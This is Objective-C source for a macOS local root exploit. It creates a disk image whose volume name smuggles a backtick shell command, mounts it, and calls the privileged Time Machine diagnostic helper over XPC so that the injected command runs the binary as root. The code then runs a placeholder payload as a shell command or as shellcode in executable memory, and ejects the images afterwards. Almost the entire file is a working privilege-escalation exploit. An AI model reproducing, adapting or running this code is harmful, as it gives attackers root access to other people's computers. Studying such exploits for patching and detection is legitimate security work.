/*
  clang -framework Foundation -framework DiskArbitration exp.m -o exp && ./exp
*/

#import <Foundation/Foundation.h>
#import <DiskArbitration/DiskArbitration.h>
#import <xpc/xpc.h>

#include <glob.h>
#include <semaphore.h>

#include <sys/mman.h>

char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER";
void root() {
  NSLog(@"[exploit] I am Groot!");

  if (!strncmp(root_payload, "CMD:", 4)) {
    system(root_payload + 4);
  } else {
    void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (ptr == MAP_FAILED) {
        return;
    }
    memcpy(ptr, root_payload, sizeof(root_payload));
    int (*sc)() = ptr;
    sc();
  }
}

#define TARGET "/tmp/1"
#define CMD "t*/1"
#define VOLUME "disk`" CMD "`\nA"
#define VOLUMEPATH "disk`t*:1`\nA"

@protocol DETimeMachineHelperProtocol
- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1
                               replyURL:(void (^)(NSURL *))arg2;
@end

NSPipe *hdiutil(NSArray *args) {
  NSPipe *pipe = [NSPipe pipe];
  NSTask *task = [[NSTask alloc] init];
  [task setStandardOutput:pipe];
  [task setLaunchPath:@"/usr/bin/hdiutil"];
  [task setArguments:args];
  [task launch];
  [task waitUntilExit];
  return pipe;
}

void exploit() {
  NSString *dir = [NSTemporaryDirectory()
      stringByAppendingPathComponent:[[NSProcessInfo processInfo]
                                         globallyUniqueString]];
  NSString *dmg = [dir stringByAppendingString:@".dmg"];
  NSFileManager *fileMgr = [NSFileManager defaultManager];
  NSError *err = NULL;
  NSString *src = [[NSBundle mainBundle] executablePath];
  [fileMgr removeItemAtPath:@TARGET error:nil];
  [fileMgr copyItemAtPath:src toPath:@TARGET error:&err];
  if (err)
    NSLog(@"warning, failed to copy: %@", err);

  [fileMgr createDirectoryAtPath:dir
      withIntermediateDirectories:YES
                       attributes:nil
                            error:&err];

  NSLog(@"creating dmg image");
  hdiutil(@[
    @"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir,
    @"-size", @"840k", @"-format", @"UDRW", dmg
  ]);

  NSLog(@"mounting malformed disk");
  NSPipe *pipe = hdiutil(@[ @"attach", dmg ]);
  NSString *mounted = [[NSString alloc]
      initWithData:[[pipe fileHandleForReading] readDataToEndOfFile]
          encoding:NSUTF8StringEncoding];

  NSLog(@"sending XPC msg");
  NSXPCConnection *connection = [[NSXPCConnection alloc]
      initWithMachServiceName:
          @"com.apple.diagnosticextensions.osx.timemachine.helper"
                      options:NSXPCConnectionPrivileged];
  connection.remoteObjectInterface = [NSXPCInterface
      interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)];
  [connection resume];
  dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
  // it doesn't matter
  NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir];
  [connection.remoteObjectProxy
      runDiagnosticWithDestinationDir:randomURL
                             replyURL:^(NSURL *url) {
                               NSLog(@"done");
                               dispatch_semaphore_signal(semaphore);
                             }];
  NSLog(@"now wait a few minutes for the root command to run");
  if (fork()) {
    return;
  }

  dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}

void cleanup() {
  // eject malformed images
  NSArray *mountedRemovableMedia = [[NSFileManager defaultManager] mountedVolumeURLsIncludingResourceValuesForKeys:nil options:NSVolumeEnumerationSkipHiddenVolumes];
  NSMutableArray *result = [NSMutableArray array];
  DASessionRef session = DASessionCreate(NULL);
  if (session) {
    for (NSURL *volURL in mountedRemovableMedia) {
      DADiskRef disk = DADiskCreateFromVolumePath(NULL, session, (CFURLRef)volURL);
      if (disk) {
        NSString* filePath = [volURL path];
        if ([filePath rangeOfString:@VOLUMEPATH].location != NSNotFound) {
          DADiskUnmount(disk, kDADiskUnmountOptionDefault, NULL, NULL);
          DADiskEject(disk, kDADiskEjectOptionDefault, NULL, NULL);
        }
        CFRelease(disk);
      }
    }
    CFRelease(session);
  }

  system("killall -9 tmdiagnose");
}

int main(int argc, const char *argv[]) {
  @autoreleasepool {
    if (geteuid()) {
      exploit();
    } else {
      cleanup();
      root();
    }
  }
  return 0;
}